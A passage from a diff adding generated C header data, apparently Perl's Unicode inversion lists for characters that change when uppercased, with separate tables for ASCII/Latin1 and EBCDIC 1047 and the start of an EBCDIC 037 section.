+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWU_invlist[] = { /* for EBCDIC 1047 */
+	1229,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
